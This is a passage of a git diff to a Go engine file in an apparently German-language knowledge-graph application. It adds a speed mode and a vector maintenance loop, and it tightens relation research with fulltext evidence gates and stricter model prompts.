settings.AutonomousResearchIdleOnly, + "idle_only_effective": settings.AutonomousResearchIdleOnly && !settings.SpeedMode, + "speed_mode": settings.SpeedMode, + "running": e.autonomousRunning, + "task_id": e.autonomousTaskID, + "task_topic": e.autonomousTaskTopic, + "last_started": e.autonomousLastStarted, + "last_completed": e.autonomousLastCompleted, + "last_error": e.autonomousLastError, + "completed_total": persistentTotals["completed"], + "failed_total": persistentTotals["failed"], + "evidence_total": persistentTotals["evidence"], + "articles_total": persistentTotals["articles"], + "process_totals": map[string]any{"completed": e.autonomousCompleted, "failed": e.autonomousFailed, "evidence": e.autonomousEvidence, "articles": e.autonomousArticles}, "last_scan": map[string]any{ "started": e.autonomousLastScanStarted, "completed": e.autonomousLastScanCompleted, diff --git a/internal/engine/engine.go b/internal/engine/engine.go index 9069b41..268d0d5 100644 --- a/internal/engine/engine.go +++ b/internal/engine/engine.go @@ -75,6 +75,7 @@ type Engine struct { lastScan time.Time lastVectorGraph time.Time lastVectorLayout time.Time + vectorMaintenanceStartedAt time.Time bootstrapComplete bool bootstrapCompletedAt time.Time bootstrapError string @@ -108,6 +109,7 @@ type Engine struct { interactiveInflight atomic.Int64 autonomousWake chan struct{} autonomousScanRequests chan string + sourceInboxWake chan struct{} autonomousRunning bool autonomousTaskID string autonomousTaskTopic string @@ -312,13 +314,9 @@ func New(cfg config.Config, g *graph.Store, b *activity.Broker) *Engine { sharedWork := workqueue.New(cfg.ResearchOllamaMaxInflight, cfg.ResearchOllamaQueueSize) pool.SetSharedLimiter(sharedWork) persistence := persist.New(g, b, cfg.PersistInterval) - e := &Engine{Cfg: cfg, Graph: g, Broker: b, Ollama: pool, Persistence: persistence, Scanner: &ingest.KnowledgeScanner{Graph: g, ProductionDirs: cfg.KnowledgeDirs, StagingDirs: cfg.StagingDirs, FullVerifyInterval: cfg.KnowledgeFullVerifyInterval}, bootstrapReady: make(chan struct{}), enrichRequests: make(chan string, 1), autonomousWake: make(chan struct{}, 1), autonomousScanRequests: make(chan string, 1), runtimePath: filepath.Join(cfg.DataDir, "runtime-settings.json"), researchEvidenceCache: map[string]researchEvidenceRecord{}, sharedWork: sharedWork, researchDedupe: map[string]*researchDedupeEntry{}} - // Slow relaxation is maintenance, not a startup animation. Delaying its first - // cycle prevents frequent process restarts from moving the cloud repeatedly. - if cfg.VectorGraphRelaxLayout && !cfg.VectorGraphLayout { - e.lastVectorLayout = time.Now().UTC() - } + e := &Engine{Cfg: cfg, Graph: g, Broker: b, Ollama: pool, Persistence: persistence, vectorMaintenanceStartedAt: time.Now().UTC(), Scanner: &ingest.KnowledgeScanner{Graph: g, ProductionDirs: cfg.KnowledgeDirs, StagingDirs: cfg.StagingDirs, FullVerifyInterval: cfg.KnowledgeFullVerifyInterval}, bootstrapReady: make(chan struct{}), enrichRequests: make(chan string, 1), autonomousWake: make(chan struct{}, 1), autonomousScanRequests: make(chan string, 1), sourceInboxWake: make(chan struct{}, 1), runtimePath: filepath.Join(cfg.DataDir, "runtime-settings.json"), researchEvidenceCache: map[string]researchEvidenceRecord{}, sharedWork: sharedWork, researchDedupe: map[string]*researchDedupeEntry{}} e.loadRuntimeSettings() + e.applyRuntimePerformance(e.RuntimeSettings()) if cfg.SearXNGURL != "" { e.Research = research.New(cfg.SearXNGURL) } @@ -327,7 +325,7 @@ func New(cfg config.Config, g *graph.Store, b *activity.Broker) *Engine { e.GLPIKB = ingest.NewGLPIKBSyncer(ingest.GLPIKBConfig{Enabled: true, Path: cfg.GLPIKBPath, Filter: cfg.GLPIKBFilter, Limit: cfg.GLPIKBLimit, SyncInterval: cfg.GLPIKBSyncInterval, Source: cfg.GLPIKBSource, CachePath: filepath.Join(cfg.DataDir, "glpi-kb-cache.json"), ShouldSync: e.LearningEnabled}, client, g, b, persistence) } if b != nil { - b.Publish(model.Activity{Type: "system.started", Source: "brain", Phase: "startup", Message: "Neural Brain wurde gestartet; das Analyseprotokoll zeichnet Läufe und Graphänderungen auf", Strength: .3, Metadata: map[string]any{"chat_model": cfg.ChatModel, "embedding_model": cfg.EmbeddingModel, "article_language": cfg.ArticleLanguage, "article_synthesis_model": cfg.ArticleSynthesisModel, "article_review_model": cfg.ArticleReviewModel, "article_review_repair_rounds": cfg.ArticleReviewRepairRounds, "article_pipeline": "adaptive_generate_review/v3-quality-v2", "article_research_strategy": cfg.ArticleResearchStrategy, "cluster_article_batching": cfg.ClusterArticleBatching, "vector_graph_enabled": cfg.VectorGraphEnabled, "vector_graph_layout": cfg.VectorGraphLayout, "vector_graph_reevaluate_interval": cfg.VectorGraphReevaluateInterval.String(), "vector_graph_relax_layout": cfg.VectorGraphRelaxLayout, "vector_graph_layout_relax_interval": cfg.VectorGraphLayoutRelaxInterval.String(), "article_cpu_quality_enabled": cfg.ArticleCPUQualityEnabled, "article_cpu_quality_agent_offload": cfg.ArticleCPUQualityAgentOffload, "research_ollama_max_inflight": cfg.ResearchOllamaMaxInflight, "research_ollama_queue_size": cfg.ResearchOllamaQueueSize, "graph_version": g.Version()}}) + b.Publish(model.Activity{Type: "system.started", Source: "brain", Phase: "startup", Message: "Neural Brain wurde gestartet; das Analyseprotokoll zeichnet Läufe und Graphänderungen auf", Strength: .3, Metadata: map[string]any{"chat_model": cfg.ChatModel, "embedding_model": cfg.EmbeddingModel, "article_language": cfg.ArticleLanguage, "article_synthesis_model": cfg.ArticleSynthesisModel, "article_review_model": cfg.ArticleReviewModel, "article_review_repair_rounds": cfg.ArticleReviewRepairRounds, "article_pipeline": "adaptive_generate_review/v5-quality-gate-v12", "article_research_strategy": cfg.ArticleResearchStrategy, "cluster_article_batching": cfg.ClusterArticleBatching, "vector_graph_enabled": cfg.VectorGraphEnabled, "vector_graph_layout": cfg.VectorGraphLayout, "vector_graph_layout_mode": e.effectiveVectorLayoutMode(), "vector_graph_reevaluate_interval": cfg.VectorGraphReevaluateInterval.String(), "vector_graph_relax_layout": cfg.VectorGraphRelaxLayout, "vector_graph_layout_relax_effective": cfg.VectorGraphRelaxLayout && !cfg.VectorGraphLayout, "vector_graph_layout_relax_interval": cfg.VectorGraphLayoutRelaxInterval.String(), "article_cpu_quality_enabled": cfg.ArticleCPUQualityEnabled, "article_cpu_quality_agent_offload": cfg.ArticleCPUQualityAgentOffload, "research_ollama_max_inflight": cfg.ResearchOllamaMaxInflight, "research_ollama_queue_size": cfg.ResearchOllamaQueueSize, "speed_mode": e.RuntimeSettings().SpeedMode, "speed_cpu_tasks": e.RuntimeSettings().SpeedCPUWorkers, "speed_gpu_tasks": e.RuntimeSettings().SpeedGPUInflight, "graph_version": g.Version()}}) } return e } @@ -378,6 +376,12 @@ func (e *Engine) Start(ctx context.Context) { } }() + go func() { + if e.waitBootstrap(ctx) { + e.vectorMaintenanceLoop(ctx) + } + }() + go e.enrichmentWorker(ctx) if e.Cfg.AutoEnrich { go e.enrichmentScheduler(ctx) @@ -461,6 +465,9 @@ func (e *Engine) waitBootstrap(ctx context.Context) bool { func (e *Engine) enrichmentScheduler(ctx context.Context) { firstDelay := 12 * time.Second + if e.SpeedModeEnabled() { + firstDelay = 0 + } e.setNextEnrich(time.Now().Add(firstDelay)) timer := time.NewTimer(firstDelay) defer timer.Stop() @@ -488,7 +495,10 @@ func (e *Engine) enrichmentWorker(ctx context.Context) { if !e.waitBootstrap(ctx) { return } - e.runEnrichmentCycle(ctx, trigger) + more := e.runEnrichmentCycle(ctx, trigger) + if more && e.SpeedModeEnabled() && e.ThinkingEnabled() { + e.RequestEnrich("speed-drain") + } } } } @@ -528,7 +538,7 @@ func (e *Engine) RequestEnrich(trigger string) bool { } } -func (e *Engine) runEnrichmentCycle(ctx context.Context, trigger string) { +func (e *Engine) runEnrichmentCycle(ctx context.Context, trigger string) bool { started := time.Now() e.stateMu.Lock() e.enrichRunning = true @@ -588,13 +598,13 @@ func (e *Engine) runEnrichmentCycle(ctx context.Context, trigger string) { if outcome.Rejected { rejected++ } - if step+1 < e.Cfg.EnrichBatchSize && e.Cfg.EnrichStepDelay > 0 { + if delay := e.effectiveEnrichStepDelay(); step+1 < e.Cfg.EnrichBatchSize && delay > 0 { select { case <-ctx.Done(): cycleErr = ctx.Err() result = "cancelled" step = e.Cfg.EnrichBatchSize - case <-time.After(e.Cfg.EnrichStepDelay): + case <-time.After(delay): } } } @@ -624,13 +634,14 @@ func (e *Engine) runEnrichmentCycle(ctx context.Context, trigger string) { if cycleErr != nil { e.Broker.Publish(model.Activity{Type: "think.cycle.failed", Source: "brain", Phase: "autonomous", Message: "AI-THINK-Zyklus wurde mit Fehler beendet", Strength: .45, Metadata: metadata}) slog.Warn("enrichment cycle failed", "trigger", trigger, "error", cycleErr) - return + return false } message := fmt.Sprintf("AI-THINK-Zyklus abgeschlossen · %d Relationen · %d Artikel · %d verworfen", relationsCreated, articlesCreated, rejected) if result == "no_candidate" { message = "AI-THINK hat im aktuell geprüften Graphbereich keinen Kandidaten oberhalb des Schwellwerts gefunden" } e.Broker.Publish(model.Activity{Type: "think.cycle.completed", Source: "brain", Phase: "autonomous", Message: message, Strength: .58, Metadata: metadata}) + return result == "completed" && checked > 0 } func (e *Engine) setNextEnrich(t time.Time) { @@ -770,11 +781,11 @@ func (e *Engine) Scan(ctx context.Context) error { // locally on the Brain CPU or be claimed by a compute-capable Source Agent. // Only 256-dimensional deterministic fallback vectors are excluded because // mixing them with the configured embedding space would make thresholds lie. - e.stateMu.RLock() - lastVectorGraph := e.lastVectorGraph - e.stateMu.RUnlock() - periodicVectorRefresh := lastVectorGraph.IsZero() || time.Since(lastVectorGraph) >= e.Cfg.VectorGraphReevaluateInterval - vectorLayerNeeded := !scanResult.FastPath || needsEmbeddingWork || !e.Graph.HasEdgesByOrigin(graph.VectorMathOrigin) || periodicVectorRefresh + // Scheduled reevaluation/layout maintenance has its own loop and therefore + // continues even while Learning is paused. Learning scans rebuild the vector + // layer only when their own ingest/embedding work changed the knowledge space + // or when no vector layer exists yet. + vectorLayerNeeded := !scanResult.FastPath || needsEmbeddingWork || !e.Graph.HasEdgesByOrigin(graph.VectorMathOrigin) vectorReady := e.Graph.CountVectorsByDimension(256) == 0 if e.Cfg.VectorGraphEnabled && vectorReady && vectorLayerNeeded { startedVectorGraph := time.Now() @@ -794,8 +805,9 @@ func (e *Engine) Scan(ctx context.Context) error { "candidate_pairs": stats.CandidatePairs, "exact_comparisons": stats.ExactComparisons, "orphan_pass_enabled": e.Cfg.VectorGraphOrphanPass, "orphan_focus": stats.OrphanFocus, "orphan_links": stats.OrphanLinks, "orphan_exact_comparisons": stats.OrphanStats.ExactComparisons, "orphan_candidate_pairs": stats.OrphanStats.CandidatePairs, - "position_updates": stats.PositionUpdates, "layout_enabled": e.Cfg.VectorGraphLayout, "layout_relaxation": e.Cfg.VectorGraphRelaxLayout, "periodic_refresh": periodicVectorRefresh, "reevaluate_interval": e.Cfg.VectorGraphReevaluateInterval.String(), + "position_updates": stats.PositionUpdates, "layout_enabled": e.Cfg.VectorGraphLayout, "layout_relaxation_configured": e.Cfg.VectorGraphRelaxLayout, "layout_mode": execution.LayoutMode, "layout_applied": execution.LayoutDue && stats.PositionUpdates > 0, "periodic_refresh": false, "maintenance_owned": true, "reevaluate_interval": e.Cfg.VectorGraphReevaluateInterval.String(), "agent_offloaded": execution.Offloaded, "agent_id": execution.AgentID, "agent_compute_ms": execution.ComputeMS, "agent_fallback_reason": execution.FallbackReason, + "speed_mode": e.SpeedModeEnabled(), "cpu_workers": e.vectorPrimaryConfig(execution.LayoutDue).Workers, "duration_ms": time.Since(startedVectorGraph).Milliseconds(), }, vectorMutations)}) } @@ -993,7 +1005,9 @@ func (e *Engine) Query(ctx context.Context, q string) (model.QueryResponse, erro for i, h := range hits { nodeIDs = append(nodeIDs, h.NodeID) e.Broker.Publish(model.Activity{Type: "node.activated", Source: "brain", Phase: "retrieval", Query: q, NodeIDs: []string{h.NodeID}, Message: fmt.Sprintf("Treffer %d · %.0f%% · %s", i+1, h.Score*100, h.Label), Strength: math.Max(.25, h.Score), Metadata: queryMeta(nil)}) - time.Sleep(55 * time.Millisecond) + if !e.SpeedModeEnabled() { + time.Sleep(55 * time.Millisecond) + } } edgeIDs := e.Graph.ConnectingEdges(nodeIDs) if len(edgeIDs) > 0 { @@ -1156,7 +1170,7 @@ func (e *Engine) enrichOne(ctx context.Context, trigger string) (EnrichOutcome, e.stateMu.Unlock() e.Broker.Publish(model.Activity{Type: "think.started", Source: "brain", Phase: "association", NodeIDs: []string{a.ID, b.ID}, Message: fmt.Sprintf("Verwandtschaft wird geprüft · %.0f%% semantische Nähe", sim*100), Strength: .88, Metadata: map[string]any{"trigger": trigger, "semantic_similarity": sim, "source_label": a.Label, "target_label": b.Label, "model": e.Cfg.ChatModel, "candidate_comparisons": comparisons, "exact_comparisons": comparisons, "coarse_comparisons": coarseComparisons, "indexed_nodes": indexedNodes, "candidate_pool": candidatePool, "processing_mode": processingMode, "candidate_source": candidateSource}}) - system := "Du führst ausschließlich eine Relationserkennung für einen Wissensgraphen durch. Analysiere zwei interne Wissenseinträge, erfinde keine Fakten und entscheide, ob eine belastbare Beziehung besteht. Schreibe keinen Artikel und keine technische Synthese. Wenn externe Fakten zur Relationsentscheidung fehlen, setze needs_research=true. Gib ausschließlich JSON nach Schema zurück." + system := "Du führst ausschließlich eine Relationserkennung für einen Wissensgraphen durch. Analysiere zwei interne Wissenseinträge, erfinde keine Fakten und entscheide, ob eine belastbare Beziehung besteht. Schreibe keinen Artikel und keine technische Synthese. Bei sehr hoher semantischer Nähe und same_topic/related_to ist normalerweise keine Webrecherche nötig. Wenn externe Fakten für eine kausale, abhängige, widersprüchliche oder zeitkritische Relationsentscheidung fehlen, setze needs_research=true. research_query darf ausschließlich fachliche Begriffe und sichtbare Titel enthalten, niemals interne Node-IDs, Hashes oder Datenbankkennungen. Gib ausschließlich JSON nach Schema zurück." var decision model.RelationDecision if err := e.Ollama.ChatJSON(ctx, system, relationContext(a, b, sim), relationSchema(), &decision); err != nil { e.Broker.Publish(model.Activity{Type: "think.failed", Source: "brain", Phase: "inference", NodeIDs: []string{a.ID, b.ID}, Message: "Qwen-Beziehungsanalyse ist fehlgeschlagen; es wurde nichts gespeichert", Strength: .35, Metadata: map[string]any{"trigger": trigger, "error": err.Error(), "model": e.Cfg.ChatModel}}) @@ -1172,88 +1186,42 @@ func (e *Engine) enrichOne(ctx context.Context, trigger string) (EnrichOutcome, decision.ResearchQuery = "" } if decision.NeedsResearch && e.ResearchEnabledForRuntime() && strings.TrimSpace(decision.ResearchQuery) != "" { - decision.ResearchQuery = sanitizeSearchQuerySiteFilters(decision.ResearchQuery) - if strings.TrimSpace(decision.ResearchQuery) == "" { - decision.NeedsResearch = false - } - } - if decision.NeedsResearch && e.ResearchEnabledForRuntime() && strings.TrimSpace(decision.ResearchQuery) != "" { - researchID := newResearchRunID("relation-research", decision.ResearchQuery) + researchID := newResearchRunID("relation-research-v10", decision.ResearchQuery) researchStarted := time.Now() - startMetadata := map[string]any{"trigger": trigger, "research_id": researchID, "research_query": decision.ResearchQuery, "source_label": a.Label, "target_label": b.Label, "animation_min_ms": 2000} - e.Broker.Publish(model.Activity{Type: "research.started", Source: "searxng", Phase: "research", NodeIDs: []string{a.ID, b.ID}, Message: "Unklarheit erkannt · SearXNG durchsucht externe Quellen", Strength: .9, Metadata: startMetadata}) - - lease, reused, dedupeErr := e.beginResearchIntent(ctx, "relation", decision.ResearchQuery) - var results []model.ResearchResult - var diagnostic research.Diagnostic - var researchErr error - if dedupeErr != nil { - researchErr = dedupeErr - } else if !lease.owner { - results = cloneResearchResults(reused) - metadata := mergeResearchMetadata(startMetadata, map[string]any{"similarity": lease.similarity, "reused_results": len(results), "dedupe_threshold": e.Cfg.ResearchDedupeThreshold}) - for key, value := range researchDedupeLeaseMetadata(lease) { - metadata[key] = value - } - e.Broker.Publish(model.Activity{Type: "research.deduplicated", Source: "brain", Phase: "research", NodeIDs: []string{a.ID, b.ID}, Message: fmt.Sprintf("Semantisch gleiche Relationsrecherche wurde wiederverwendet · %d Treffer", len(results)), Strength: .76, Metadata: metadata}) - } else { - // Relation research intentionally considers more than the old four - // snippets. The full article pipeline remains the final quality gate. - relationResultLimit := 8 - if e.Cfg.ArticleResearchResults > relationResultLimit { - relationResultLimit = e.Cfg.ArticleResearchResults - } - if relationResultLimit > 12 { - relationResultLimit = 12 - } - researchErr = e.withSharedResearchWork(ctx, "searxng.relation_search", func() error { - var searchErr error - results, diagnostic, searchErr = e.Research.SearchDetailed(ctx, decision.ResearchQuery, relationResultLimit) - return searchErr - }) - e.completeResearchIntent(lease, results, researchErr) - } + e.Broker.Publish(model.Activity{Type: "research.started", Source: "searxng", Phase: "research", NodeIDs: []string{a.ID, b.ID}, Message: "Unklarheit erkannt · Relationsrecherche prüft externe Volltextbelege einzeln", Strength: .9, Metadata: map[string]any{"trigger": trigger, "research_id": researchID, "research_query": decision.ResearchQuery, "source_label": a.Label, "target_label": b.Label, "evidence_gate": "relation-fulltext-v10", "animation_min_ms": 2000}}) + acceptedEvidence, researchMetadata, researchErr := e.collectRelationResearchEvidence(ctx, trigger, a, b, decision) + researchMetadata["research_id"] = researchID + researchMetadata["duration_ms"] = time.Since(researchStarted).Milliseconds() if researchErr != nil { - metadata := mergeResearchMetadata(startMetadata, researchDiagnosticMetadata(diagnostic)) - metadata["error"] = researchErr.Error() - metadata["duration_ms"] = time.Since(researchStarted).Milliseconds() - slog.Warn("research failed", "query", decision.ResearchQuery, "base_url", diagnostic.BaseURL, "kind", diagnostic.ErrorKind, "http_status", diagnostic.HTTPStatus, "duration_ms", diagnostic.DurationMS, "error", researchErr) - e.Broker.Publish(model.Activity{Type: "research.failed", Source: "searxng", Phase: "research", NodeIDs: []string{a.ID, b.ID}, Message: "SearXNG-Recherche ist fehlgeschlagen", Strength: .35, Metadata: metadata}) + researchMetadata["error"] = researchErr.Error() + decision.Related = false + decision.Confidence = math.Min(decision.Confidence, math.Max(0, e.Cfg.RelationThreshold-.01)) + decision.Explanation = strings.TrimSpace(decision.Explanation + " · erforderliche externe Relationsrecherche fehlgeschlagen") + e.Broker.Publish(model.Activity{Type: "research.failed", Source: "searxng", Phase: "research", NodeIDs: []string{a.ID, b.ID}, Message: "Relationsrecherche ist fehlgeschlagen; die beweisabhängige Relation wird nicht übernommen", Strength: .35, Metadata: researchMetadata}) } else { - allowedResults := e.filterResearchEvidenceForThinking(results, unique(append(append([]string{}, a.Categories...), b.Categories...))) - resultMetadata := mergeResearchMetadata(researchEventMetadata(trigger, researchID, decision.ResearchQuery, allowedResults, time.Since(researchStarted)), researchDiagnosticMetadata(diagnostic)) - resultMetadata["unfiltered_result_count"] = len(results) - resultMetadata["source_filter_rejected_count"] = len(results) - len(allowedResults) - resultMetadata["deduplicated"] = !lease.owner - message := fmt.Sprintf("SearXNG hat %d durch den Thinking-Filter erlaubte Webquellen geliefert", len(allowedResults)) - if len(allowedResults) == 0 { - message = "SearXNG-Treffer lagen außerhalb des wirksamen Thinking-Quellenfilters" - } - e.Broker.Publish(model.Activity{Type: "research.results", Source: "searxng", Phase: "research-results", NodeIDs: []string{a.ID, b.ID}, Message: message, Strength: .92, Metadata: resultMetadata}) - if len(allowedResults) > 0 { - // Keep relation-search hits in memory until the relation itself has - // passed the second model review. Rejected relation research must not - // permanently inflate the graph with unused external nodes. - researchResults = allowedResults + researchResults = acceptedEvidence + e.Broker.Publish(model.Activity{Type: "research.results", Source: "brain", Phase: "research-results", NodeIDs: []string{a.ID, b.ID}, Message: relationResearchResultMessage(researchMetadata), Strength: .82, Metadata: researchMetadata}) + if len(acceptedEvidence) == 0 { + decision.Related = false + decision.Confidence = math.Min(decision.Confidence, math.Max(0, e.Cfg.RelationThreshold-.01)) + decision.Explanation = strings.TrimSpace(decision.Explanation + " · erforderliche externe Relationsrecherche lieferte keinen belastbaren Volltextbeleg") + e.Broker.Publish(model.Activity{Type: "think.research.insufficient", Source: "brain", Phase: "research-routing", NodeIDs: []string{a.ID, b.ID}, Message: "Die Relation benötigte externe Fakten, aber kein Suchtreffer bestand die Volltext-Evidenzprüfung", Strength: .4, Metadata: researchMetadata}) + } else { var reviewed model.RelationDecision - reviewSystem := "Bewerte die Beziehung erneut anhand der zwei internen Wissenseinträge und der beigefügten Web-Suchergebnisse. Suchtreffer sind Hinweise, keine garantierten Fakten. Erfinde nichts, kennzeichne verbleibende Unsicherheit und gib ausschließlich JSON nach Schema zurück." - if err := e.Ollama.ChatJSON(ctx, reviewSystem, relationContextWithResearch(a, b, sim, allowedResults), relationSchema(), &reviewed); err != nil { - slog.Warn("research review failed; keeping pre-research decision", "error", err) + reviewSystem := "Bewerte die Beziehung erneut anhand der zwei internen Wissenseinträge und ausschließlich der beigefügten, einzeln geprüften Volltextbelege. Die Belege haben bereits Topic-, Quellenqualitäts- und Volltext-Relevanz-Gates bestanden. Erfinde nichts. Interne Node-IDs sind keine Websuchbegriffe. Wenn die Relation weiterhin nicht belastbar ist, setze related=false. Gib ausschließlich JSON nach Schema zurück." + if err := e.Ollama.ChatJSON(ctx, reviewSystem, relationContextWithResearch(a, b, sim, acceptedEvidence), relationSchema(), &reviewed); err != nil { + slog.Warn("relation evidence review failed; rejecting evidence-dependent relation", "error", err) + researchResults = nil + decision.Related = false + decision.Confidence = math.Min(decision.Confidence, math.Max(0, e.Cfg.RelationThreshold-.01)) + decision.Explanation = strings.TrimSpace(decision.Explanation + " · zweiter Relationsreview mit geprüfter Evidenz fehlgeschlagen") } else { decision = reviewed } } - // Always close the relation-research lifecycle explicitly. Older code - // only emitted research.ingested when at least one source passed the - // Thinking filter, leaving zero-result and filtered-out searches stuck - // as "running" forever in the analysis history. - completedMetadata := mergeResearchMetadata(resultMetadata, map[string]any{ - "duration_ms": time.Since(researchStarted).Milliseconds(), - "accepted_count": len(allowedResults), - "result": "completed", - }) - e.Broker.Publish(model.Activity{Type: "research.completed", Source: "brain", Phase: "research", NodeIDs: []string{a.ID, b.ID}, Message: fmt.Sprintf("Relationsrecherche beendet · %d verwendbare Treffer", len(allowedResults)), Strength: .72, Metadata: completedMetadata}) + researchMetadata["result"] = "completed" + e.Broker.Publish(model.Activity{Type: "research.completed", Source: "brain", Phase: "research", NodeIDs: []string{a.ID, b.ID}, Message: relationResearchResultMessage(researchMetadata), Strength: .72, Metadata: researchMetadata}) } } @@ -1304,11 +1272,18 @@ func (e *Engine) addResearch(ctx context.Context, a, b model.Node, results []mod refs := researchGraphRefs{} for _, r := range results { id := graph.ID("external", r.URL) - n := model.Node{ID: id, Kind: "external", Label: r.Title, Summary: clamp(r.Content, 700), Status: "research", Origin: "research", ExternalID: r.URL, URI: r.URL, Categories: unique(append(append([]string{}, a.Categories...), b.Categories...)), Weight: .8, Metadata: map[string]any{"source": graph.SourceFromURL(r.URL), "query_pair": []string{a.ID, b.ID}}, UpdatedAt: time.Now().UTC()} + metadata := map[string]any{"source": graph.SourceFromURL(r.URL), "query_pair": []string{a.ID, b.ID}, "validation_state": "relation_fulltext_gate_v10", "relevance": r.Relevance, "source_quality": r.SourceQuality, "source_quality_score": r.SourceQualityScore, "assessment_reason": r.AssessmentReason} + if r.Fetched && r.Relevant { + if relPath, contentHash, err := e.queueResearchEvidence(r); err == nil { + metadata["evidence_path"] = relPath + metadata["evidence_sha256"] = contentHash + } + } + n := model.Node{ID: id, Kind: "external", Label: r.Title, Summary: clamp(r.Content, 700), Status: "research", Origin: "research", ExternalID: r.URL, URI: r.URL, Categories: unique(append(append([]string{}, a.Categories...), b.Categories...)), Weight: math.Max(.8, r.SourceQualityScore), Metadata: metadata, UpdatedAt: time.Now().UTC()} refs.Mutations.Add(e.Graph.UpsertNodeWithStats(n)) refs.NodeIDs = append(refs.NodeIDs, id) for _, targetID := range []string{a.ID, b.ID} { - edge := model.Edge{Source: id, Target: targetID, Type: "research_evidence", Origin: "research", Status: "staging", Confidence: .55, Weight: .4} + edge := model.Edge{Source: id, Target: targetID, Type: "research_evidence", Origin: "research", Status: "staging", Confidence: math.Max(.65, r.Relevance), Weight: math.Max(.5, r.SourceQualityScore*.7), Explanation: r.AssessmentReason, Metadata: map[string]any{"validation_state": "relation_fulltext_gate_v10", "source_quality": r.SourceQuality, "relevance": r.Relevance}} refs.Mutations.Add(e.Graph.UpsertEdgeWithStats(edge)) refs.EdgeIDs = append(refs.EdgeIDs, graph.EdgeID(edge.Source, edge.Target, edge.Type, edge.Origin)) } @@ -1381,14 +1356,14 @@ func (e *Engine) Status() map[string]any { "article_research_min_relevance": e.Cfg.ArticleResearchMinRelevance, "article_research_min_quality": e.Cfg.ArticleResearchMinQuality, "article_research_page_max_bytes": e.Cfg.ArticleResearchPageMaxBytes, "article_research_page_max_chars": e.Cfg.ArticleResearchPageMaxChars, "article_research_fetch_timeout": e.Cfg.ArticleResearchFetchTimeout.String(), "article_research_allow_private": e.Cfg.ArticleResearchAllowPrivate, - "article_language": e.Cfg.ArticleLanguage, "article_synthesis_model": e.Cfg.ArticleSynthesisModel, "article_review_model": e.Cfg.ArticleReviewModel, "article_review_repair_rounds": e.Cfg.ArticleReviewRepairRounds, "article_pipeline": "adaptive_generate_review/v3-quality-v2", "article_research_strategy": e.Cfg.ArticleResearchStrategy, "article_effective_research_strategy": e.effectiveArticleResearchStrategy(), "article_adaptive_initial_queries": e.Cfg.ArticleAdaptiveInitialQueries, "article_adaptive_initial_fetch": e.Cfg.ArticleAdaptiveInitialFetch, "research_dedupe": e.researchDedupeStatus(), + "article_language": e.Cfg.ArticleLanguage, "article_synthesis_model": e.Cfg.ArticleSynthesisModel, "article_review_model": e.Cfg.ArticleReviewModel, "article_review_repair_rounds": e.Cfg.ArticleReviewRepairRounds, "article_pipeline": "adaptive_generate_review/v5-quality-gate-v12", "article_research_strategy": e.Cfg.ArticleResearchStrategy, "article_effective_research_strategy": e.effectiveArticleResearchStrategy(), "article_adaptive_initial_queries": e.Cfg.ArticleAdaptiveInitialQueries, "article_adaptive_initial_fetch": e.Cfg.ArticleAdaptiveInitialFetch, "research_dedupe": e.researchDedupeStatus(), "scan_interval": e.Cfg.ScanInterval.String(), "knowledge_full_verify_interval": e.Cfg.KnowledgeFullVerifyInterval.String(), "enrich_interval": e.Cfg.EnrichInterval.String(), "enrich_batch_size": e.Cfg.EnrichBatchSize, "enrich_anchors": e.Cfg.EnrichAnchors, - "processing_mode": e.RuntimeSettings().ProcessingMode, "cluster_hash_bits": e.Cfg.ClusterHashBits, "cluster_hash_tables": e.Cfg.ClusterHashTables, + "processing_mode": e.RuntimeSettings().ProcessingMode, "speed_mode": e.RuntimeSettings().SpeedMode, "speed_cpu_tasks": e.RuntimeSettings().SpeedCPUWorkers, "speed_gpu_tasks": e.RuntimeSettings().SpeedGPUInflight, "speed_algorithm": speedModeVersion, "cluster_hash_bits": e.Cfg.ClusterHashBits, "cluster_hash_tables": e.Cfg.ClusterHashTables, "cluster_candidates_per_anchor": e.Cfg.ClusterCandidatesPerAnchor, "cluster_article_candidates": e.Cfg.ClusterArticleCandidates, "cluster_review_evidence": e.Cfg.ClusterReviewEvidence, "cluster_review_context_chars": e.Cfg.ClusterReviewContextChars, "cluster_article_batching": e.Cfg.ClusterArticleBatching, - "vector_graph_enabled": e.Cfg.VectorGraphEnabled, "vector_graph_neighbors": e.Cfg.VectorGraphNeighbors, "vector_graph_candidates": e.Cfg.VectorGraphCandidates, "vector_graph_min_similarity": e.Cfg.VectorGraphMinSimilarity, "vector_graph_min_affinity": e.Cfg.VectorGraphMinAffinity, "vector_graph_layout": e.Cfg.VectorGraphLayout, "vector_graph_reevaluate_interval": e.Cfg.VectorGraphReevaluateInterval.String(), "vector_graph_relax_layout": e.Cfg.VectorGraphRelaxLayout, "vector_graph_layout_relax_interval": e.Cfg.VectorGraphLayoutRelaxInterval.String(), "vector_graph_layout_blend": e.Cfg.VectorGraphLayoutBlend, "vector_graph_layout_max_shift": e.Cfg.VectorGraphLayoutMaxShift, "last_vector_graph": e.lastVectorGraph, "last_vector_layout": e.lastVectorLayout, + "vector_graph_enabled": e.Cfg.VectorGraphEnabled, "vector_graph_neighbors": e.Cfg.VectorGraphNeighbors, "vector_graph_candidates": e.Cfg.VectorGraphCandidates, "vector_graph_min_similarity": e.Cfg.VectorGraphMinSimilarity, "vector_graph_min_affinity": e.Cfg.VectorGraphMinAffinity, "vector_graph_layout": e.Cfg.VectorGraphLayout, "vector_graph_layout_mode": e.effectiveVectorLayoutMode(), "vector_graph_reevaluate_interval": e.Cfg.VectorGraphReevaluateInterval.String(), "vector_graph_relax_layout": e.Cfg.VectorGraphRelaxLayout, "vector_graph_layout_relax_effective": e.Cfg.VectorGraphRelaxLayout && !e.Cfg.VectorGraphLayout, "vector_graph_layout_relax_interval": e.Cfg.VectorGraphLayoutRelaxInterval.String(), "vector_graph_layout_blend": e.Cfg.VectorGraphLayoutBlend, "vector_graph_layout_max_shift": e.Cfg.VectorGraphLayoutMaxShift, "last_vector_graph": e.lastVectorGraph, "last_vector_layout": e.lastVectorLayout, "vector_graph_orphan_pass": e.Cfg.VectorGraphOrphanPass, "vector_graph_orphan_neighbors": e.Cfg.VectorGraphOrphanNeighbors, "vector_graph_orphan_candidates": e.Cfg.VectorGraphOrphanCandidates, "vector_graph_orphan_min_similarity": e.Cfg.VectorGraphOrphanMinSimilarity, "vector_graph_orphan_min_affinity": e.Cfg.VectorGraphOrphanMinAffinity, "vector_graph_agent_offload": e.Cfg.VectorGraphAgentOffload, "vector_graph_agent_required": e.Cfg.VectorGraphAgentRequired, "vector_graph_agent_wait": e.Cfg.VectorGraphAgentWait.String(), "thinking_vector_guided": e.Cfg.ThinkingVectorGuided, "research_enabled": e.ResearchEnabledForRuntime(), "chat_model": e.Cfg.ChatModel, 